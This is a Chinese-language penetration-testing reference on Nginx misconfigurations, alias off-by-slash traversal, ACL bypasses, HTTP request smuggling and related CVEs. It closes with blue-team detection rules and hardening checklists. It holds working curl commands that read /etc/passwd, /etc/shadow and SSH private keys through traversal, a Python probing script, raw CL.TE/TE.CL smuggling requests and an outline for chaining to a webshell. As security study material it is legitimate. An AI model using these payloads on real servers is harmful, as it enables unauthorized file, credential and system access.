Nginx 配置错误 / Alias Traversal / 请求走私 / 路径穿越 / CVE 漏洞链利用技术

0x00 攻击面总览

Nginx 是最流行的 Web 服务器/反向代理,配置错误可导致多种高危漏洞:

组件默认端口协议攻击面
HTTP80HTTP反向代理、静态文件服务
HTTPS443HTTPSTLS 终止、反向代理
stub_status配置端口HTTP状态信息泄露
Resolver内部DNSDNS 欺骗(CVE-2021-23017)

核心威胁模型

┌───────────────────────────────────────────────────────────────┐
│                    Nginx 攻击面                                 │
│                                                               │
│  ┌──────────────────────────────────────────────────────┐     │
│  │  Nginx :80/:443                                       │     │
│  │  反向代理 / 静态文件 / 负载均衡                         │     │
│  └──────────────────────┬───────────────────────────────┘     │
│                         │                                     │
│  攻击路径:                                                    │
│  ① 配置错误 → autoindex/server_tokens → 信息泄露              │
│  ② Alias Traversal (off-by-slash) → 目录穿越 → 文件读取       │
│  ③ 路径穿越 → ACL 绕过 → 访问受保护资源                        │
│  ④ HTTP 请求走私 → 绕过前端安全控制                            │
│  ⑤ Resolver DNS 欺骗 → SSRF / RCE (CVE-2021-23017)           │
│  ⑥ proxy_pass URI 陷阱 → 请求头注入                           │
│                                                               │
│  默认风险:                                                    │
│  • 配置错误是最常见的 Nginx 安全问题                            │
│  • Alias Traversal 在特定配置下可导致任意文件读取               │
│  • $uri 变量规范化可被用于 ACL 绕过                            │
│  • HTTP/2 降级可能导致请求走私                                  │
└───────────────────────────────────────────────────────────────┘

0x01 服务识别与指纹

1.1 Nmap 服务发现

nmap -sV -p 80,443 \
  --script=http-title,http-server-header \
  -oN nginx_scan.txt <target>

典型扫描结果

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Nginx 1.24.0
443/tcp open  https       Nginx 1.24.0

1.2 版本指纹

# 获取 Server 头
curl -sI "http://target/" | grep -i server
# Server: nginx/1.24.0

# stub_status 页面
curl -s "http://target/nginx_status"
# Active connections: 291
# server accepts handled requests
#  16630948 16630948 31070465

# 隐藏版本号
# server_tokens off;

1.3 Shodan / FOFA 搜索语法

# Shodan
server:"nginx"
product:"Nginx"

# FOFA
server="nginx"
app="Nginx"

0x02 配置错误攻击

2.1 server_tokens 信息泄露

# 如果 server_tokens on(默认)
curl -sI "http://target/" | grep -i server
# Server: nginx/1.24.0

# 泄露版本信息有助于 CVE 匹配

2.2 autoindex 目录列表

# 如果 autoindex on
curl -s "http://target/uploads/"
# 返回目录列表

# 搜索敏感文件
curl -s "http://target/uploads/" | grep -E "\.(key|pem|conf|bak|sql)"

2.3 proxy_pass URI 陷阱

# 危险配置
location /api/ {
    proxy_pass http://backend/;  # 注意末尾的 /
}

# 攻击者可以注入请求头
# GET /api/@attacker.com HTTP/1.1
# Host: backend
# 可能导致请求头注入

2.4 $uri 变量滥用

# 危险配置
location / {
    rewrite ^/(.*)$ /$1 permanent;
    # 或
    return 302 /$uri;
}

# $uri 会被 Nginx 规范化
# /%2e%2e/ 被规范化为 /../
# 可能导致路径穿越

2.5 error_page XSS

# 危险配置
error_page 404 /404.html;
# 如果 404 页面包含请求路径
# 可能导致反射型 XSS

0x03 Alias Traversal (off-by-slash)

3.1 漏洞原理

alias 指令的路径缺少尾部斜杠时,攻击者可以穿越目录:

# 漏洞配置
location /images/ {
    alias /home/user/images;  # 缺少尾部 /
}

3.2 漏洞利用

# 正常访问
curl "http://target/images/logo.png"
# 读取 /home/user/images/logo.png

# 目录穿越
curl "http://target/images../etc/passwd"
# 读取 /home/user/images/../etc/passwd = /etc/passwd

# 更多穿越
curl "http://target/images../etc/shadow"
curl "http://target/images../home/user/.ssh/id_rsa"

3.3 自动化检测

# 使用 Nginx Alias Traversal 检测脚本
python3 -c "
import requests
import sys

target = sys.argv[1]
paths = ['/images../etc/passwd', '/static../etc/passwd', '/assets../etc/passwd',
         '/uploads../etc/passwd', '/media../etc/passwd', '/files../etc/passwd']

for path in paths:
    r = requests.get(f'{target}{path}')
    if 'root:' in r.text:
        print(f'[+] VULNERABLE: {path}')
        print(r.text[:200])
        break
" "http://target"

0x04 路径穿越 — ACL 绕过

4.1 $uri 规范化绕过

# ACL 配置
location /admin {
    deny all;
}

location / {
    proxy_pass http://backend;
}

# 攻击:使用编码绕过 ACL
curl "http://target/%2fadmin"
# $uri 被规范化为 /admin,但后端可能不识别

4.2 try_files 绕过

# 配置
location / {
    try_files $uri $uri/ /index.html;
}

# 攻击:访问受保护文件
curl "http://target/.git/config"
# 如果 .git 目录存在,可能被 try_files 暴露

4.3 正则表达式绕过

# 配置
location ~* \.(php|php5)$ {
    deny all;
}

# 攻击:使用大小写混合
curl "http://target/test.PhP"
# 某些系统上可能被解析为 PHP

0x05 HTTP 请求走私

5.1 CL.TE 走私

POST / HTTP/1.1
Host: target
Content-Length: 47
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target
Foo: bar

5.2 TE.CL 走私

POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: target
Foo: bar

0

5.3 HTTP/2 降级走私

# HTTP/2 到 HTTP/1.1 降级时可能触发走私
curl -s --http2 "http://target/" \
  -H "Content-Length: 0" \
  -H "Transfer-Encoding: chunked"

0x06 Resolver DNS 欺骗

6.1 CVE-2021-23017 — 堆溢出

属性详情
影响版本Nginx 0.6.18 - 1.21.0, 1.20.1, 1.20.0
CVSS7.7(High)
类型堆缓冲区溢出 / DNS 欺骗
根因Resolver 处理 DNS 响应时未正确验证长度

6.2 DNS 重绑定攻击

# 配置中使用变量
location / {
    resolver 8.8.8.8;
    proxy_pass http://$host;
}

# 攻击者控制 DNS 响应
# 实现 SSRF  RCE

0x07 历史 CVE 漏洞矩阵

CVE类型CVSS影响
CVE-2021-23017堆溢出/DNS 欺骗7.7Resolver 堆溢出
CVE-2022-41741内存损坏7.8MP4 模块内存损坏
CVE-2022-41742内存损坏7.8MP4 模块内存损坏
CVE-2024-7347缓冲区读取5.3mp4 模块缓冲区读取越界
CVE-2019-20372请求走私5.3HTTP 请求走私
CVE-2023-44487DoS7.5HTTP/2 Rapid Reset

0x08 高级利用技术

8.1 Alias Traversal → RCE 链

# 步骤 1:通过 Alias Traversal 读取应用配置
curl "http://target/images../var/www/html/config.php"

# 步骤 2:获取数据库凭据
# 步骤 3:通过数据库写入 WebShell
# 步骤 4:获得服务器 Shell

8.2 请求走私 → WAF 绕过

# 通过请求走私将恶意请求注入后端
# 绕过前端 WAF 的安全检查

8.3 缓存投毒

# 通过请求走私或路径穿越投毒缓存
# 其他用户获取缓存的恶意内容

8.4 PHP-FPM 攻击

# 如果 Nginx 配置错误导致 PHP 文件解析
curl "http://target/uploads/image.php/.php"
# 可能被解析为 PHP 执行

0x09 蓝队检测方案

9.1 网络层检测

title: Nginx Alias Traversal 检测
id: nginx-alias-traversal
status: experimental
description: 检测 Nginx Alias Traversal 攻击特征
logsource:
  product: nginx
  service: access
detection:
  selection:
    uri|contains:
      - "../"
      - "..\\"
    uri|regex: '/[a-z]+\.\./'
  condition: selection
level: high

9.2 审计日志分析

# 监控 Alias Traversal 尝试
grep -E "\.\./" /var/log/nginx/access.log

# 监控请求走私特征
grep -E "(Content-Length.*Transfer-Encoding|Transfer-Encoding.*Content-Length)" /var/log/nginx/access.log

# 监控路径穿越尝试
grep -E "(%2e%2e|%252e%252e)" /var/log/nginx/access.log

# 监控异常状态码
grep -E " (400|403|404) " /var/log/nginx/access.log | head -50

9.3 加固清单

[ ] 隐藏版本号:server_tokens off;
[ ] 禁用目录列表:autoindex off;
[ ] 修复 Alias Traversal:确保 alias 路径有尾部 /
[ ] 避免使用 $uri 进行重定向
[ ] 配置 merge_slashes on;(默认)
[ ] 使用绝对路径配置 proxy_pass
[ ] 限制 resolver 使用(如不需要)
[ ] 升级至最新 Nginx 版本修补 CVE
[ ] 配置 HTTPS 并启用 HSTS
[ ] 在前面放置 WAF 检测请求走私
[ ] 启用审计日志并接入 SIEM
[ ] 监控异常路径和编码请求
[ ] 配置适当的 CORS 策略
[ ] 使用 Content-Security-Policy 防止 XSS
[ ] 定期审查 Nginx 配置

0x10 渗透测试检查清单

[ ] 端口扫描:80, 443
[ ] Nginx 版本检测(Server 头)
[ ] stub_status 信息泄露测试
[ ] autoindex 目录列表测试
[ ] Alias Traversal (off-by-slash) 测试
[ ] 路径穿越 ACL 绕过测试
[ ] $uri 规范化绕过测试
[ ] HTTP 请求走私测试(CL.TE / TE.CL)
[ ] HTTP/2 降级走私测试
[ ] Resolver DNS 欺骗测试
[ ] proxy_pass URI 注入测试
[ ] error_page XSS 测试
[ ] PHP-FPM 解析绕过测试
[ ] 缓存投毒测试
[ ] CVE 版本匹配
[ ] TLS/SSL 配置检查
[ ] 安全响应头检查

0x11 小结

Nginx 的攻击面以 配置错误 为核心。Alias Traversal (off-by-slash) 是最常见的漏洞之一,当 alias 路径缺少尾部斜杠时可实现目录穿越读取任意文件。$uri 变量规范化可被用于 ACL 绕过和路径穿越。HTTP 请求走私可通过 CL.TE/TE.CL 或 HTTP/2 降级实现。CVE-2021-23017 通过 Resolver DNS 欺骗实现堆溢出。蓝队应重点关注:修复 Alias 配置、避免 $uri 滥用、禁用不必要功能、升级至最新版本、启用审计日志、将审计日志接入 SIEM。